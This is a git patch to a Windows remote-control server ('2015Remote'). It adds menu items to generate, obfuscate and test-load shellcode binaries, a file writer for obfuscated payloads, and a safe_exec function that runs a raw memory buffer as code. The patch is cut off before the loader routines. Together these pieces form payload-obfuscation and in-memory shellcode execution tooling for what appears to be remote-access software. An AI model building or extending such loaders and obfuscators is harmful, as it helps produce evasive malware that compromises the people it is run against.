From b9c5a7af912b90290944d48c26074730d7633bcf Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Sat, 8 Nov 2025 23:11:34 +0800 Subject: [PATCH] feature: Add menu to load bin file to test shellcode --- common/obfs.h | 21 ++++++++ server/2015Remote/2015Remote.rc | Bin 103332 -> 103954 bytes server/2015Remote/2015RemoteDlg.cpp | 76 +++++++++++++++++++++++++--- server/2015Remote/2015RemoteDlg.h | 4 ++ server/2015Remote/resource.h | Bin 52944 -> 53696 bytes 5 files changed, 94 insertions(+), 7 deletions(-) diff --git a/common/obfs.h b/common/obfs.h index 43b2d8f..916bd84 100644 --- a/common/obfs.h +++ b/common/obfs.h @@ -7,12 +7,20 @@ class ObfsBase { public: + bool m_bGenCArray; + ObfsBase(bool genCArray = true) : m_bGenCArray(genCArray) { } + virtual ~ObfsBase() { } + // 对称混淆函数:用于加密和解密 virtual void ObfuscateBuffer(uint8_t* buf, size_t len, uint32_t seed) {} // 解混淆:与加密顺序相反 virtual void DeobfuscateBuffer(uint8_t* buf, size_t len, uint32_t seed) {} + virtual bool WriteFile(const char* filename, uint8_t* data, size_t length, const char* arrayName) { + return m_bGenCArray ? WriteBinaryAsCArray(filename, data, length, arrayName) : WriteBinaryFile(filename, data, length); + } + // 将二进制数据以 C 数组格式写入文件 virtual bool WriteBinaryAsCArray(const char* filename, uint8_t* data, size_t length, const char* arrayName) { FILE* file = fopen(filename, "w"); @@ -32,6 +40,17 @@ public: fclose(file); return true; } + + // 使用 "wb" 二进制写入模式 + virtual bool WriteBinaryFile(const char* filename, const uint8_t* data, size_t length) { + FILE* file = fopen(filename, "wb"); + if (!file) return false; + + size_t written = fwrite(data, 1, length, file); + fclose(file); + + return written == length; + } }; class Obfs : public ObfsBase { @@ -47,6 +66,8 @@ private: } public: + Obfs(bool genCArray = true) : ObfsBase(genCArray) { } + // 对称混淆函数:用于加密和解密 virtual void ObfuscateBuffer(uint8_t* buf, size_t len, uint32_t seed) { uint32_t state = seed; diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index afabec76b77c10a0f3fa306861d041119891c162..85203d03334a4203e54c4c24c2abcba40f87c703 100644 GIT binary patch delta 364 zcmZ3ooNdw?wuUW?S;j&N47v<<3ZqT5sX!7; zNfJXQLmp6Rd+IkokRm0JA}!{42B+x{g&9qSymPO1D=?s_k`rXqntnlnkxe<6!Gpn- z!3PMP8T=Vsfb4i6+n>P^$c|?S0rG>VGa53APZ!`|l$rj^n2`&I(-c7FaZI-}VbnvY z6~X03Ik;*mxI^V1cYe=3maENx>0k{8H3paIi9C$5U{~v6bG1K%6N4K=FfR8is544U PcaUNf**?pJkt-emK9yLw delta 63 zcmV-F0Kor}tOlf~27t5yYBQHG2>~{jpfdqlmoPN}3I!+tCIC;DVGIE+m(U;q2$ys< V0WOyyCjlClKpFuQw+J@@3SUkh5N!Ye diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index b572532..e57608d 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -497,6 +497,10 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_COMMAND(ID_MACHINE_LOGOUT, &CMy2015RemoteDlg::OnMachineLogout) ON_WM_DESTROY() ON_MESSAGE(WM_SESSION_ACTIVATED, &CMy2015RemoteDlg::OnSessionActivatedMsg) + ON_COMMAND(ID_TOOL_GEN_SHELLCODE_BIN, &CMy2015RemoteDlg::OnToolGenShellcodeBin) + ON_COMMAND(ID_SHELLCODE_LOAD_TEST, &CMy2015RemoteDlg::OnShellcodeLoadTest) + ON_COMMAND(ID_SHELLCODE_OBFS_LOAD_TEST, &CMy2015RemoteDlg::OnShellcodeObfsLoadTest) + ON_COMMAND(ID_OBFS_SHELLCODE_BIN, &CMy2015RemoteDlg::OnObfsShellcodeBin) END_MESSAGE_MAP() @@ -3153,6 +3157,17 @@ void CMy2015RemoteDlg::OnToolInputPassword() } } +bool safe_exec(void *exec) { + __try { + ((void(*)())exec)(); + return true; + } + __except (EXCEPTION_EXECUTE_HANDLER) { + VirtualFree(exec, 0, MEM_RELEASE); + } + return false; +} + /* Example: